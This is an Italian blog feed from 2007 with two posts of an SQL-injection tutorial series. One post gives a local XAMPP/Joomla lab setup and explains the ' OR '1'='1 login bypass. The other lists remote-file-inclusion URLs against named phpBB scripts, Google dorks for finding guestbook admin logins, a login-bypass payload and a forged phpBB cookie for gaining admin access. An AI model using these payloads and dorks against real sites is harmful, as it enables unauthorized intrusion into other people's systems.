<p><b><i> </i></b></p>
<p>Una volta che si è arrivati a fare l&#8217; UPload della Shell e si è individuati l&#8217; exploit che ci serve per sfruttare una qualche vulnerabilità su di un determinato host , ci basta seguire le indicazioni giuste e se l&#8217; exploit ha effetto , (gli exploits hanno sempre effetto l&#8217; unica soluzione è aggiornare o inserire delle patch al proprio sito), possiamo trovarci direttamente davanti al pannello di controllo dell&#8217; FTP che stiamo prendendo in considerazione nel nostro attacco.</p>
<p>Questi sottoelencati sono degli <b>exploits</b> e mi sono apparsi con qualche piccola ricerca su <a href="http://www.milw0rm.com/search.php">milw0rm</a> , e sono degli exploits che possiamo sfruttare tramite la nostra Shell , e che sfruttano la vulnerabilità dell&#8217; <b>autoiniezione</b>. Ora io è da tempo che me ne preparavo , ma vi basta seguire il collegamento che ho appena inserito per trovarli tutti.</p>
<p align="center"><b>*****************</b></p>
<p>http://www.esempio.com/[path]/includes/content/</p>
<p>contact_content.php?root_path=[evil_code]</p>
<p>http://www.esempio.com/admanagerpro/</p>
<p>common.php?ipath=[Evil_Script]</p>
<p>http://www.esempio.com/templates/deluxe/</p>
<p>postreply.php?templatefolder=[Evil_Script]</p>
<p>http://www.esempio.com/templates/default/</p>
<p>pm/newpm.php?templatefolder=[Evil_Script]</p>
<p>http://www.esempio.com/modules/Forums</p>
<p>/admin/index.php?phpbb_root_path=[evil_scripts]</p>
<p>http://www.esempio.com/modules/Forums/</p>
<p>admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts]</p>
<p>http://www.esempio.com/modules/Forums/</p>
<p>admin/admin_board.php?phpbb_root_path=[evil_scripts]</p>
<p>http://www.esempio.com/modules/Forums/</p>
<p>admin/admin_disallow.php?phpbb_root_path=[evil_scripts]</p>
<p>http://www.esempio.com/modules/Forums/</p>
<p>admin/admin_forumauth.php?phpbb_root_path=[evil_scripts]</p>
<p align="center"><b>*****************</b></p>
<p><i>(Purtroppo la formattazione del blog non mi permette di scriverli in maniera molto chiara , è per questo che li ho scritti ognuno in 2 righe , ma vi ripeto che comunque sono stati presi da milw0rm.com)  </i></p>
<p>Questi sono solo pochi esempi , quindi possiamo immaginare i bug presenti nella programmazione in generale , se di bug possiamo parlare , ed è quì che si può capire l&#8217; importanza per un admin di mantenersi sempre aggiornato.</p>
<p>Altri esempi sempre parlando di &#8220;<b>Injection</b>&#8220;<b>  , </b>possiamo farli nel &#8220;campo&#8221; dei <b>Guestbook</b><!--endemo--><!--endemo--> , ilGuestbook è un  servizio, che si offre ai visitatori di un determinato sito per poter ad esempio lasciare un commento , e che permette agli stessi utenti anche di contattare l&#8217; admin del sito stesso. Una <b>query </b>per Google per ricercare i Guestbook , e ,(questa di seguito in particolare che ci rimanda al login dell&#8217; admin), è:</p>
<p><b>inurl:guestbook/admin/login.php</b></p>
<p>Una volta effettuata la query nel motore di ricerca di Google , e si arriva al login dell&#8217; admin di un dato sito se noi procediamo con l&#8217; <i><b>Injection</b></i> di questo codice maligno [EvilCode]:</p>
<p><b> USER: &#8216;or &#8216;jr7&#8242;=&#8217;jr7&#8242; /*</b></p>
<p><b> PASSWORD: anything </b></p>
<p>potremo avere , (sempre per i siti ancora vulnerabili) , i permessi dell&#8217; amministratore del sito.</p>
<p align="center"><i>Queste di seguito sono altre <b>query</b> per la ricerca del <b>login</b> dell&#8217; <b>admin</b></i></p>
<p align="center"><b>****************</b></p>
<p><b>inurl:guestbook/admin/login.php<br />
inurl:guestbook/admin.php<br />
inurl:guestbook/login.php<br />
guestbook/login.php<br />
guestbook/admin.php<br />
guestbook/login/admin.php<br />
guestbook/admin/login.php<br />
allinurl:/guestbook/login/admin.php</b></p>
<p align="center"><b>*****************</b></p>
<p align="left">Un ultimo metodo che mi sento di dover scrivereper immettere in database vulnerabili delle<i><b> Injection  </b></i>particolari , è quello della manipolazione dei <b>Cookie</b>. Ma vediamo ad esempio come usare questa tecnica , abbastanza remota.</p>
<p align="left">Il tipo di siti che sono affetti da questa vulnerabilità , sono i siti scritti in <b>Phpbb</b> fino alla versione <b>1.0.12.</b></p>
<p align="left">Se noi andiamo sul motore di ricerca Google , e digitiamo nella barra di ricerca              <b>Powered By Phpbb 1.0.12<br />
</b></p>
<p>Ci verranno fuori dei risultati che saranno quelli dei forum che sono ancora scritti con questa versione.</p>
<p>Se cerchiamo un forum , e ci rechiamo  nella <i><b>homepage</b></i> del forum stesso , e quindi nella pagina che contiene il file <i><b>index.php</b></i> , vediamo che nel file di testo che contiene i Cookie del nostro browser , ad esempio il <b>Firefox , </b>ci sarà anche il cookie del sito che noi abbiamo appena visitato. Accanto al Cookie , abbiamo la possibilità che ci sia una stringa di questo tipo:</p>
<p><b>  phpbb2mysql_data           a%3A07Bma</b></p>
<p>Bne , questo sta a significare che c&#8217;é una possibilità che il forum in questione possa essere vulnerabile alla nostra <b>Injection</b> , come?</p>
<p>Nel modo più semplice che ci possa passare per la testa , e cioé sostituendo la riga a destra ,(<b>a%3A07Bma</b>), che è il codice <b>GUEST</b> che ci viene attribuito dal forum ,con una stringa come ad esempio può essere questa:</p>
<p><b>a%3A27Bs%3A1122autologinid%22</b></p>
<p><b>%3Bb%3A1%3A622userid%22%3A1222%227D</b></p>
<p><i>(l&#8217; ho scritta in 2 righe perché altrimenti la formattazione del blog l&#8217; avrebbe tagliata)</i></p>
<p>In questo modo ci saranno molte probabilità che il sito quando leggerà il Cookie che ci aveva installato in precedenza , ci loggherà come <b>admin</b></p>
<p>Fortunatamente a questa tecnica hanno posto rimedio in molti.</p>
<p>Bene la 2^ parte delle 3 , è finita.</p>
<p>Spero di essere stato chiaro.</p>
<p>Ho trattato anche cose che con l&#8217; SQL-Injection forse non c&#8217;entrano al 100% , ma mi sembrava doveroso , inquanto secondo me se non si simulka un attacco , almeno provando a descriverlo , non si riesca ad avere un&#8217; idea veramente chiara di ciò che si sta leggendo.</p>
<p>Spero di avere il tempo necessario per scrivere la 3^ parte il prima possibile , dove inserirò i tool specifici della backtrack , e che richiameranno ovviamente tutto l&#8217; articolo appena scritto , in modo tale da usare i tool che la <i><b>backtrack2 </b></i>ci mette a disposizione , ma capendo veramente il loro funzionamento , perché la backtrack può essere anche solo usata , ma se non si capisce quello che si fa , si rischia di passare per <b>lamer-blackhat</b> , quando invece si vuole solo imparare.</p>
<p>ciao a tutti e alla prossima.</p>
<p> <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/136/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/136/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/136/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=136&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
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			<media:title type="html">~br1g4nt3~</media:title>
		</media:content>

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			<media:title type="html">biohazard-green1.jpg</media:title>
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		</media:content>
	</item>
		<item>
		<title>SQL-Injection -pt.1/3- &#8220;descrizione e apprendimento&#8221;</title>
		<link>http://carlitobrigante.wordpress.com/2007/11/27/sql-injection-descrizione-e-apprendimento/</link>
		<comments>http://carlitobrigante.wordpress.com/2007/11/27/sql-injection-descrizione-e-apprendimento/#comments</comments>
		<pubDate>Tue, 27 Nov 2007 19:46:56 +0000</pubDate>
		<dc:creator>brigante~</dc:creator>
				<category><![CDATA[/Vulenability-Identification]]></category>

		<guid isPermaLink="false">http://carlitobrigante.wordpress.com/2007/11/27/sql-injection-descrizione-e-apprendimento/</guid>
		<description><![CDATA[
Eccoci arrivati a descrivere , come dice il titolo stesso , la tecnica dell&#8217; SQL-Injection.
Questa prima parte la dedicherò alla descrizione e all&#8217; apprendimento della SQL-Injection , ed è per questa ragione che l&#8217;ho chiamata SQL-Injection &#8220;descrizione e apprendimento&#8221;&#8230;.mentre la seconda parte la dedicherò all&#8217; attacco e  e alla comprensione ed al funzionamento di [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=89&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><a href="http://carlitobrigante.files.wordpress.com/2007/11/sqlinjection.jpg" title="sqlinjection.jpg"><img src="http://carlitobrigante.files.wordpress.com/2007/11/sqlinjection.jpg" alt="sqlinjection.jpg" /></a></p>
<p>Eccoci arrivati a descrivere , come dice il titolo stesso , la tecnica dell&#8217; <b>SQL-Injection.</b></p>
<p>Questa prima parte la dedicherò alla descrizione e all&#8217; apprendimento della SQL-Injection , ed è per questa ragione che l&#8217;ho chiamata <b>SQL-Injection &#8220;descrizione e apprendimento&#8221;</b>&#8230;.mentre la seconda parte la dedicherò all&#8217; attacco e  e alla comprensione ed al funzionamento di tutti i tool inseriti in <b>backtrack</b> , che appunto riguardano gli attacchi di tipo SQL-Injection , e la chiamerò : <b>SQL-Injection &#8220;analisi e attacco&#8221;</b></p>
<p>sperando ovviamente di riuscire a fare una guida , un articolo per due parti in totale , altrimenti ne farò anche tre&#8230;.casomai immettendo nell&#8217;ultimo , per evidenziare magari , la parte riguardante la<b> backtrack</b>&#8230;.ma cominciamo.</p>
<p>Innanzitutto voglio dirvi che per scrivere questa guida , o meglio quest&#8217; articolo , ho pensato che sia bene installare un webserver , questo perché anche se come cosa è &#8220;evitabile&#8221; , nel mio piccolo ho intenzione di far capire , (e soprattutto di capire anch&#8217;io&#8230;:) ) , come funziona realmente un  webserver , un database MySQL , e tutte quelle cose che ci girano intorno , altrimenti rischierei di fare una guida che è comprensibile solo per coloro che hanno conoscenza nel campo , e quindi non sarebbe più una guida o una articolo <b>&#8220;&#8230;dalla A alla Z&#8221; </b>, ma solo una descrizione che può essere benissimo presa da <a href="http://en.wikipedia.org/wiki/Main_Page" title="wikipedia" target="_blank">Wikipedia</a> , o da molti altri siti in giro per la rete.</p>
<p>Per questo , ho visto tutta la procedura ed ho installato lo <b><a href="http://www.apachefriends.org/en/faq-xampp-linux.html#mmcache" title="xampp">Xampp</a></b> , ( che altro non sarebbe poi che l&#8217;insieme di <a href="http://www.apache.org/" title="Apache" target="_blank">&#8220;Apache</a> &#8211; <a href="http://www.php.net/" title="PHP" target="_blank">PHP</a> &#8211; PERL &#8211; <a href="http://www-it.mysql.com/" title="MySQL" target="_blank">MySQL</a>&#8220;&#8230;.l&#8217; equivalente &#8220;windowsiano&#8221; per lo stesso <i><b>xampp</b></i> , oppure per il più conosciuto <u><i><b><a href="http://www.easyphp.org/">EasyPHP</a></b></i></u> ) , che secondo me , anche se non di fondamentale importanza , riesce meglio a rendere l&#8217; idea diciò di cui io voglio descrivere in quest&#8217;articolo.</p>
<p>Installato lo Xampp , ho installato anche il CSM ,(Content Sistem Manager), <a href="http://www.joomla.it/index.php?option=com_frontpage&amp;Itemid=1" title="joomla!">Joomla! </a>che  , può servirci a provare qualche Exploit in futuro , anche se forse Joomla! , è il CSM che di exploit a meno sofferto rispetto agli altri , ma mi sembrava piuttosto facile da installare , ed è molto potente , e dopotutto , credo che se non si parta dalle basi di installazione di strumenti come questi , non si riesce a rendere bene l&#8217; idea di ciò che si vuole ottenere. e comunque per chi volesse può sempre saltare avanti ed arrivare subito alla descrizione dell&#8217; <b>SQL-Injection.</b><br />
In giro per la rete si trovano molte guide su come installare lo Xampp ,  , ed il Joomla! , anche se la magiorparte sono di solito riferite all&#8217; installazione su Windows , o per l&#8217;ambiente GNU/Linux su Ubunu per chi volesse installarlo su backtrack , questa è una brevissima guida che avevo scritto molto tempo fà , ma che solo oggi pubblico , con un bel copia/incolla.</p>
<p><b>Quindi per chi volesse , ecco la descrizione  per installare lo </b><b>Xampp ed il CSM Joomla!</b></p>
<p>Per queste operazioni ho preso spunto dal sito di <a href="http://www.apachefriends.org/en/xampp-linux.html" title="apachefriend - xampp installation on LINUX" target="_blank">Apachefriends</a>   per lo <b>Xampp</b> , e per <b>Joomla!</b> da queste <a href="http://www.joomla.it/index.php?option=com_content&amp;task=view&amp;id=511&amp;Itemid=13" title="Joomla! videolezioni" target="_blank">videolezioni.</a></p>
<p><img src="http://hackerzine.files.wordpress.com/2007/10/1240jpg.gif" alt="1240jpg.gif" /></p>
<p>Facciamo il download tramite <b><a href="http://sourceforge.net/project/downloading.php?group_id=61776&amp;use_mirror=surfnet&amp;filename=xampp-linux-1.6.3b.tar.gz&amp;79965514"><i>Sourceforge.net</i></a></b> , e scaricate il file nella vostra <b>/root</b> , dopodiché procediamo con lo scompattare l&#8217;archivio e posizionarlo in <b>/opt</b></p>
<p>Ho fatto una piccola pubblicità a Sourceforge , sempre fondamentale per tutti noi , ma chi volesse può fare tutto in automatico dando da terminale il comando:</p>
<p><i><b>wget -c http://sourceforge.net/project/downloading.php?group_id=61776&amp;use_mirror=surfnet&amp;filename=xampp-linux-1.6.3b.tar.gz&amp;79965514 </b></i></p>
<p>(scusate la formattazione ma èp tutto attaccato , quindi chi volesse , copia/incolla&#8230;)e si ritrova nella propria <b>/root</b> , il proprio archivio di Xampp. Fatto questo procediamo<br />
<b><code>tar xvfz xampp-linux-1.6.3b.tar.gz -C /opt</code></b></p>
<p>Questa procedura installerà <i>Xampp</i> sul nostro sistema e per avviarlo basterà dare questo comando:</p>
<p><b><code>/opt/lampp/lampp start</code></b></p>
<p>mentre per fermarlo il comando sarà:</p>
<p><b><code></code><code>/opt/lampp/lampp stop</code></b></p>
<p>Ora bisogna configurare la sicurezza del nostro Xampp dando il seguente comando:<br />
<b><code>/opt/lampp/lampp security</code></b></p>
<p>stando attenti a non dimenticare le nostre password per MySQL il lampp ed il resto.</p>
<p>Durante la configurazione vi sarà chiesto se volete rendere accessibile il vostro server da web , a voi la risposta.</p>
<p>Quando farete i vostri lavori salvateli nella cartella:</p>
<p><b><code>/opt/lampp/htdocs/</code></b></p>
<p><i>Ora siamo naturalmente in <b>backtrack</b> , ed io consiglio sempre di avviare e di fermare il tutto con i comandi descritti sopra dati tramite <b>Shell</b>&#8230;..<b>Konsole</b> , ma per chi volesse può benissimo crearsi un <b>launcher.</b></i></p>
<p><i>per chi lo desidera quindi :</i></p>
<p><i>posizioniamoci sul <b>Desktop</b> e con il tasto destro scegliamo l&#8217;opzione da menù </i><i><b>New</b>&#8212;&gt;<b>Create Link To Application&#8230; </b>, inseriamo il <b>comando</b> , l&#8217;icona , o altri dati utili , se vogliamo una breve descrizione , e infine il nome <b>Xampp.</b>  Se vogliamo invece crearci un icona sul menù <b>Start</b> di <b>KDE</b> andiamo appunto sul <b>MenùStart</b> ed appena si apre il menù con il tasto destro scegliamo <b>EditItemMenu </b>e dal gestore di <b>KDE</b> creiamo una nuova voce con <b>NewItem</b> , ancora scriviamo il comando e tutto il necessario , posizioniamo <b>Xampp</b> dove vogliamo , <b>salviamo</b> tramite l&#8217;icona, e usciamo dal gestore dei menù di KDE.</i></p>
<p>Avremo così il nostro webserver avviabile tramite interfaccia grfica.</p>
<p><i><b><font color="#ff0000">Attenzione che questa guida è valida solo per backtrack , per tutte le altre distro ,  il posizionamento e gli stessi comandi cambiano tutti!</font></b></i></p>
<p>Passiamo ora alla verifica , andiamo in Shell , e digitiamo il comando di avvio del nostro webserver con il comando:</p>
<p><b><code>/opt/lampp/lampp start</code></b></p>
<p>vedremo che la risposta del sistema in konsole sarà la descrizione dell&#8217; avvio del nostro <b>Xampp</b> <b>for LINUX </b>, di  <b>PHP-5</b> e di  <b>MySQL</b> , a questo punto con il nostro browser preferito , <a href="http://www.mozilla.com/en-US/" title="FIREFOX">Firefox</a> per me , digitando nella barra degli indirizzi <b>http://localhost/</b> riusciamo ad accedere alla pagina di Xampp , naturalmente dopo aver inserito <b>username</b> e <b>password.</b></p>
<p>Dopo questa breve descrizione passiamo all&#8217; installazione del CSM <a href="http://www.joomla.it/index.php?option=com_frontpage&amp;Itemid=1" title="joomla!">Joomla!</a> dopodiché inizieremo subito a parlare dell&#8217; argomento come da titolo.</p>
<p>Scarichiamo l&#8217;ultima release di Joomla! dal sito di <a href="http://download.joomla.it/component/option,com_docman/task,doc_download/gid,327/Itemid,2/">Joomla.it</a> , e una volta scaricato l&#8217;archivio estraiamolo e posizioniamolo nel posto in cui ho detto prima inseriamo i nostri lavori del webserver prima creato&#8230;.e cioé in <b>/opt/lampp/htdocs</b></p>
<p><b>Passiamo all&#8217; installazione di joomla!</b></p>
<p><img src="http://carlitobrigante.files.wordpress.com/2007/11/joomla_logo.png" alt="joomla_logo.png" /><br />
Joomla! è un CSM totalmente opensource , e in Italia e nel mondo ha un forte appoggio tramite tutte le sue comunità , è potente , e utilizzabile con un estrema facilità.</p>
<p>L&#8217;installazione di un CSM quale Joomla! , non è difficile , è abbastanza intuitiva come procedura , ma dobbiamo sempre ricordarci che non solo siamo in ambiente LKinux , ma siamo addirittura in <b>backtrack</b> ,  quindi dobbiamo seguire la procedura tenendo conto  della nostra situazione , ad esempio quella di essere sempre <b>/root</b> , che può essere a seconda dei casi un vantaggio , ma che ci ricorda anche di stare attenti altrimenti possiamo fare degli enormi danni al nostro sistema.</p>
<p>Per installare Joomla! , ci basta entrare nella cartella appena creata con l&#8217; estrazione dell&#8217; archivio tramite Firefox , entrare anora nella cartella <i><b>Installation</b></i> ed andare a selezionare , <i><b>index</b><b>.php</b></i> , oppure andare con il nostro filemanager <b>Konqueror</b> , selezionare <i><b>installation.php</b> </i>e con il tasto destro<i><b> apri con</b></i>&#8230; e scrivere<i> </i><b>firefox , </b>che attraverso una procedura guidata , ci guiderà nell&#8217; installazione di <b>Joomla!</b></p>
<p>Durante l&#8217;installazione ci verranno chiesti dei dati , che vanno dal nome del nostro &#8220;sito&#8221; , alle password da inserire per il database MySQL.</p>
<p>Innanzitutto bisogna controllare la fase di <b>PRE-INSTALLATION</b> , dove ci compariranno le descrizioni di tutte le configurazioni degli script e dei moduli che attualmente si trovano nel nostro databse , tutte le scritte che ci compaiono in rosso , sono da sistemare , io personalmente ne ho travate un paio ,  ma sono di facile correzione ed alcune addirittura non sono poi così fondamentali , tant&#8217;é che una configurazione riguardante il <b>PHPmyadmin</b> è ancora da sistemare , ma per il nostro scopo puramente informativo e quindi più o meno &#8220;superficiale&#8221; , non crea alcun problema. Assicuriamoci di avere , per coloro che in backtrack si sono creati degli utenti ,<i>(per chì lo desidera qui c&#8217;é uno script gentilmente concesso da <a href="http://www.evilsocket.net/clipboard/copy.php?key=4373739" title="add-user by zogs" target="_blank"><b>zogs</b></a> e &#8220;hostato&#8221; su<a href="http://www.evilsocket.net/news.php" title="evilsocket.net" target="_blank"> evilsocket.net</a>)</i>, che non sono quindi <b>/root </b>, di avere per  <b>Joomla!</b> tutte le cartelle con permessi in <b>lettura/scrittura</b> , altrimenti Joomla! ci segnalerà le cartelle senza permessi adeguati colorandole di <b>rosso</b>&#8230;.e noi dovremmo portarle in <b>verde</b> adeguandovi quindi i permessi.</p>
<p>Arriviamo così alla prima schermata che riguarderà l&#8217; accettazione della <b>licenza.</b></p>
<p>La seconda riguarda invece la configurazione del database <b>MySQL</b>  , dobbiamo inserire l&#8217; <b>hostname</b> , la <b>password </b>ed il <b>nome</b> del database <b>MySQL ,</b> e l&#8217; estensione da dare alle nostre tabelle , questa ad esempio , io l&#8217;ho lasciata di default <b>jos_ .</b></p>
<p>Arrivati alla 3^ schermata dobbiamo inserire la <b>PATH</b> dell&#8217; installazione che nel nostro caso è: <b>/opt/lampp/htdocs/joomla</b> , inseriamo la nostra <b>email</b> , e la <b>password</b> per l&#8217; amministrazione del database.</p>
<p>A questo punto l&#8217;installazione di Joomla! è stata completata con successo , l&#8217;importante è che prima di avviare joomla! , si rimuova completamente la cartella di installazione , oppure come io stesso ho fatto , andate a cambiare il nome della cartella da <b>joomla</b> a <b>pippo</b> o come volete chiamarla voi.</p>
<p>Ora , Joomla! è installato , e avendo il nostro webserver in locale , è come se avessimo un vero e proprio sito web , che possiamo personalizzare come vogliamo noi , Joomla! , a merito di tutta la sua comunità , ha ad esempio molte templates , che possono rendere il nostro &#8220;sito&#8221; , personalizzabile , ma quì vi lascio a voi stessi , altrimenti andrei troppo fuoriluogo.</p>
<p>Adesso , dopo che ci siamo fatti un&#8217; idea di come si installa , di come si avvia e come si usa un webserver , iniziamo con la parte fondamentale dell&#8217; articolo&#8230;.e cioé con la descrizione della tecnica di attacco , di hacking , che è la <b>SQL-Injection .</b></p>
<p><a href="http://carlitobrigante.files.wordpress.com/2007/11/sqlinjection.jpg" title="sqlinjection.jpg"><img src="http://carlitobrigante.files.wordpress.com/2007/11/sqlinjection.jpg" alt="sqlinjection.jpg" /></a></p>
<p>Come recita <a href="http://it.wikipedia.org/wiki/SQL_injection">Wikipedia</a>  la <b>SQL-Injection</b> è appunto una tecnica di attacco , o hacking , che sfruttando delle vulnerabilità , riesce a colpire le applicazioni web che si trovano su di un determinato host di tipo <b>SQL.</b> Oltre a questo , e questo è il suo vero punto di forza , la SQL-Injection riesce a farci mantenere l&#8217;accesso ai dati all&#8217; interno della nostra applicazione web , in questo modo l&#8217; attaccante può ottenere i permessi dell&#8217; <b>admin</b> , amministratore , del server o anche di una intera rete  , avendo così , tutto nelle sue mani.</p>
<p>Ma vediamo ora come funziona l&#8217;ingresso in un database.</p>
<p>Noi ogni giorno , da quando accendiamo la nostra macchina , (intesa come Pc , e sempre per coloro che la spengono naturalmente) ,  eseguiamo un&#8217;infinità di accessi , anche se non sono sempre esplicabili nel caso che stiamo studiando ora , sono pursempre degli accessi , che vengono eseguiti da noi utenti e ricevuti dalla nostra stessa macchina e , quando siamo in rete , dai database&#8230;server , host , chimateli come volete.</p>
<p>Ora , un database , per arrivare alla decisione di farci entrare oppure no , e con i vari permessi , utilizza due script , eseguiti da noi che vogliamo entrarvi.</p>
<p>Gli script sono 2 , e insieme formano quello che è il nostro &#8220;<b>login</b>&#8221; , cioé l&#8217;insieme della procedura che un determinato database esegue , con intervento umano , per caratterizare l&#8217;ingresso o meno dell&#8217;utente che richiede l&#8217; accesso.</p>
<p>Quando noi eseguiamo un accesso su di un server veniamo riportati tramite il nostro browser davanti ad una finestra che ci chiede delle informazioni , che sono:</p>
<p>1) <b>username</b></p>
<p>2) <b>password</b></p>
<p>Tramite queste informazioni il database riceve i dati da noi inseriti , per poi memorizzarli sottoforma di variabile , naturalmente dopo che lo stesso ha acconsentito oppure no , al nostro ingresso.</p>
<p>La &#8220;finestra&#8221; che ci compare davanti , è fatta generalmente dei 2 script di cui abbiamo parlato prima , e che sono scritti il primo in html ovvero il &#8220;<b>form.html</b>&#8221;  ed il secondo in php , il &#8220;<b>login.php</b>&#8220;.</p>
<p><img src="http://carlitobrigante.files.wordpress.com/2007/10/login.png" alt="login.png" /></p>
<p>Secondo il numero ed il tipo di caratteri che noi inseriamo nei due campi , il database esegue o no l&#8217; accesso&#8230;ma vediamo in base a cosa:</p>
<p>Il database trasporta i dati da noi inseriti all&#8217; interno dello script &#8220;<b>form.html</b>&#8221; , (&#8230;la finestra) , all&#8217;interno di una memoria , e lo fa tramite il &#8220;<b>login.php</b>&#8221; , che tiene poi le due stringhe in due variabili ( <i><b>$_POST['user']</b> ; <b>$_POST['pwd']</b>) .</i> In base al contenuto di queste due variabili il database effettua una ricerca , chiamata &#8220;<b>query</b>&#8221; , al suo interno , e se trova le stringhe corrispondenti , ci fa entrare , assegnandoci i corrispondenti diritti di accesso , altrimenti no , e ci rimanda di nuovo davanti alla finestra di <b>login</b>.<br />
Fino a quì , nessun problema , prassi di tutti i giorni , ma vediamo ora cosa può succedere se vogliamo l&#8217; accesso al database senza possedere quelle due stringhe , che altro non sono che username e password.</p>
<p>Comiciamo dicendo che un programmatore quando esegue uno script ,  lo fa per gli scopi prestabiliti , nel senso che se fa lo script del <b>form.html</b> , si preoccupa di fare in modo che possa entrare solo la persona che possiede username e password , e basta. Ma se noi siamo a conoscenza del linguaggio del database ovvero l&#8217; <b>SQL </b>, possiamo interagire con lo stesso database , e da quì parte quella che è definita la tecnica dell&#8217; <b>SQL-Injection.</b> La tecnica hacking in questione prende il suo stesso nome dal procedimento in questione , ovvero: l&#8217; iniezione di dati e valòori alterati all&#8217; interno del database stesso , in modo che con l&#8217; inserimento di questi dati , si possa inetragire con il database MySQL , attraverso la query che il database effettua per ricercare e poi comparare i valori inseriti dall&#8217; utente con quelli residenti al suo interno.</p>
<p>Ma vediamo adesso uno dei principi dell&#8217; Inject , e cioé l&#8217; &#8220;alterazione dei dati&#8221;, perché è in base a questi principi che si possono eseguire tecniche di &#8220;iniezione&#8221; non conformi alle regole , ma vediamo come:</p>
<p>La cosa importante è sapere che il database SQL non ha alcuna &#8220;responsabilità&#8221; se così può essere definita , a riguardo , perché ad eseguire le nostre stringhe , sarà un linguaggio , se quindi noi ci comportiamo di conseguenza , e cioè usando lo stesso linguaggio possiamo fare in modo di interagire con la query stessa.</p>
<p>Un esempio , abbastanza remoto preso da wikipedia sempre , è quello che se noi all&#8217; arrivo dello script <b>form.html </b>invece di inserire &#8220;<b>username</b>&#8221; e &#8220;<b>password</b>&#8221; inseriamo una stringa come ad esempio questa:</p>
<p><b> 123&#8242; OR &#8216;1&#8242;=&#8217;1</b></p>
<p>lo script in php , prende i dati dal form.html , e ne esegue una query che però anche se non contiene username e password , tramite la riga scritta sopra va ad incidere lo stesso sul database , infatti questo è il risultato in linguaggio SQL:</p>
<p><b>SELECT * FROM users WHERE user=&#8217;root&#8217; AND pwd=&#8217;123&#8242; OR &#8216;1&#8242;=&#8217;1&#8242;</b></p>
<p><i><b>(dove il valore 1 descrive l&#8217;accesso , e lo 0 -zero- , il rifiuto dello stesso , e visto che 1 , è sempre uguale a 1 , il database ci garantisce l&#8217; accesso)</b></i></p>
<p>ma perché ci troviamo davanti a questa stringa se abbiamo scritto solo <b>123&#8242; OR  &#8216;1=&#8217;1</b>???</p>
<p>Perché il controllo viene effettuato dalla query , ma solo per il riconoscimento delle stringhe , nessun controllo viene effettuato ai dati che l&#8217; utente inserisce.</p>
<p>Sapendo quindi un pò di linguaggio web e dei database SQL , si riesce ad interagire con il database stesso.</p>
<p><b>Naturalmente abbiamo fatto una sola descrizione , questa è una delle stringhe a cui è stato posto rimedio già da moltissimo tempo , la vera arte sta nello scoprire sempre nuove stringhe in SQL che generano nuove vulnerabilità , in modo da comunicarle al più presto agli addetti e contribuire alla sicurezza della rete tutta. </b></p>
<p>È ovvio dire che per scoprire nuove vulnerabilità , occorre conoscere dei linguaggi di programmazione , solo in questo modo ovviamente si puossono trovare delle vulnerabilità da sfruttare , è inutile andare in giro per la rete a cercare stringhe create da altre persone , in questo modo anche se è possibile entrare e quindi sfruttare delle vulnerabilità di qualche webserver non aggiornato , non si arriverà mai allo scopo di capire veramente ciò che si fà , e quindi di conseguenza non si contribuisce allo sviluppo della sicurezza , e comunque , di solito , quando si scoprono nuove stringhe efficaci , dopo pochissimo tempo , fortunatamente , gli admin attenti pongono il loro rimedio.</p>
<p>in backtrack2 , ci sono molti strumenti che riguardano le tecniche di SQL-Injection , se andiamo nel <b>MenuStartKDE&#8212;&gt;backtrack&#8212;&gt;VulnerabilityIdentification&#8212;&gt;&#8221;&#8230;&#8221;</b> , possiamo trovare più voci che appunto sono state create dagli sviluppatori per testare la sicurezza su vari tipi di database , con tool del calibro di &#8220;<b>SQL-Inject &#8211; SQLninja &#8211; SQLnix &#8211; SQLbrute</b>&#8220;</p>
<p>Oltre a questo , abbiamo degli scanner di <b>SQL</b> , come ad esempio lo stesso <b>SQLscanner. </b>Tramite tutti questi strumenti noi poossiamo identificare nuove vulnerabilità , e dopo aver effettuato i nostri test porre quindi gli eventuali rimedi.</p>
<p>All&#8217;interno del <b>&lt;back|track~BOX , </b>inserirò , per lo scopo in questione , una raccolta di <b>SQL-Injection</b> , che sono prese in giro per la rete e da siti amici , come ad esempio <a href="http://securitybox.altervista.org/index.php?page=home" target="_blank">SecurityBox</a>.</p>
<p>Quindi per effettuare delle SQL-Injection , bisogna assolutamente conoscere il linguaggio SQL , o almeno le caratteristiche e i comandi essenziali. un metodo , che personalmente non ho ancora testato , per poter apprendere il più possibile sul campo della websecurity è quello di installarsi uno strumento come il <a href="http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project">WebGoat</a> , della <a href="http://www.owasp.org/index.php/Main_Page">OSWAP.</a></p>
<p align="center"><a href="http://carlitobrigante.files.wordpress.com/2007/12/500_webgoat_001copy.jpg" title="500_webgoat_001copy.jpg"><img src="http://carlitobrigante.files.wordpress.com/2007/12/500_webgoat_001copy.jpg" alt="500_webgoat_001copy.jpg" /></a></p>
